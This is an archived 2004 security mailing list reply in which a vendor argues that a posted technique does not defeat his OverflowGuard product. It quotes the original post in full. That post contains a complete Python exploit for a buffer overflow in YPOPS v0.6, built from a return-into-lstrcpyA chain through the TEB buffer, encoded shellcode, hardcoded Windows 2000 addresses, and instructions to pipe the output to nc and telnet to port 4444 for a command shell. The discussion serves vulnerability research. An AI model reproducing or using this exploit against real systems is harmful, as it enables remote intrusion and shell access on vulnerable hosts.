Vulnerability Development mailing list archives
Re: TEB buffer+Return Into LIBC based string copy exploitation
From: "Paul Webster" <ptwebster () datasecuritysoftware com>
Date: Thu, 11 Nov 2004 13:28:24 -0500
Contrary to the authors claim this method does not defeat protections like OverflowGuard. OverflowGuard makes all writeable memory non-executable in a protected process. Therefore, since the TEB is writeable memory this method will fail when used against a OverflowGuard protected process. The execution of the TEB will be detected and the process will be terminated because the TEB is writeable memory. OverflowGuard does not protect the program YPOPS by default, therefore, most likely the author's test wasn't performed against a YPOPS process protected by OverflowGuard which is why he believes his exploit works against OverflowGuard. If he took the time to make sure OverflowGuard was protecting YPOPS he surely would have seen that this method does not defeat OverflowGuard.
-Paul Webster Data Security Software Inc. OverflowGuard 1.4 -- http://www.datasecuritysoftware.com----- Original Message ----- From: "varun uppal" <varunuppal () linuxmail org>
To: <vuln-dev () securityfocus com> Sent: Wednesday, November 10, 2004 6:38 AM Subject: TEB buffer+Return Into LIBC based string copy exploitation Hi,I have put together some info on using the TEB (Thread Execution Block) Buffer and libc for exploiting NON-EXEC STACK Win32 environments. I havent come across any major public exploit using this method nor much of information on the same. The shell coders handbook was of great help though.Thought it would be useful for someone interested in the same.
EXPLOIT: #!/usr/bin/env python """ Exploit for an old BoF in YPOPS v0.6 discovered by Behrang Fouldai Coded as a PoC for defeating NoN-Exec stacks and stack protections like overflow guard etc. This exploit utilizes the 520 byte buffer in the TEB (i.e is used for ANSI to Unicode String operations). The EIP is overwritten with the addressof lstrcpyA accompanied by the return address, the source and destination buffer
addresses.On successfull EIP overwrite the lstrcpyA copies the attacker supplied payload to the address in the TEB, following which the executions proceeds from there (since it is the return addr that we supplied). Came across this usefull concept in "The shell coders
handbook". Can be used for 1) Bypassing stack protections. 2) When none of the regs (ecx,ebx, eax, esp etc) point to our payload. BUFFER LAYOUT|payload | addr of lstrcpyA | addr of buff in TEB | addr of buff in TEB | addr of our payload |
ret addr for destination for Addr of our execution Payload PayloadTested on Win2K Adv Server with no patches and overflowguard. This is heavily dependent on the addresses which
must be modified according to the versions. 0x77E87E39 --> Address of lstrcpyA from kernel32.dll0x7ffDE1BC --> Address in TEB buffer to which payload will be copied and execution
commences 0x00E6FAB8 --> Address of Payload on stack Shellcode from Sergio alvarez's paper on win32 exploitatiion (gr8 paper). Coded by Varun Uppal (varunuppal () linuxmail org) greetz to JhaanGi, swatkat_razor, saTurn444 and metasploit crew. gr8 work USAGE: python pop_exp2.py | nc "addr of target host" "target port" Telnet "addr of target host" 4444 for cmd prompt """ import struct exp = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" exp += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" exp += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" exp += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" exp += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" exp += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" exp += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" exp += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" exp += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" exp += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" exp += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" exp += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" exp += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" exp += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" exp += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" exp += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" exp += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" exp += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" exp += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" exp += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" exp += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" exp += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" exp += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" exp += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" exp += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"print '\x90'*10+exp+'\x90'*96+ struct.pack('<L', 0x77e87e39)+struct.pack('<L', 0x7ffde1bc)+struct.pack('<L', 0x7ffde1bc)+'\xb8'+'\xfa'+'\xe6'+'\x00'
Current thread:
- TEB buffer+Return Into LIBC based string copy exploitation varun uppal (Nov 10)
- Re: TEB buffer+Return Into LIBC based string copy exploitation Paul Webster (Nov 12)
- Re[2]: TEB buffer+Return Into LIBC based string copy exploitation 3APA3A (Nov 14)
- Re: Re[2]: TEB buffer+Return Into LIBC based string copy exploitation Paul Webster (Nov 14)
- Re: Re[2]: TEB buffer+Return Into LIBC based string copy exploitation Berend-Jan Wever (Nov 15)
- Re[2]: TEB buffer+Return Into LIBC based string copy exploitation 3APA3A (Nov 14)
- Re: TEB buffer+Return Into LIBC based string copy exploitation Paul Webster (Nov 12)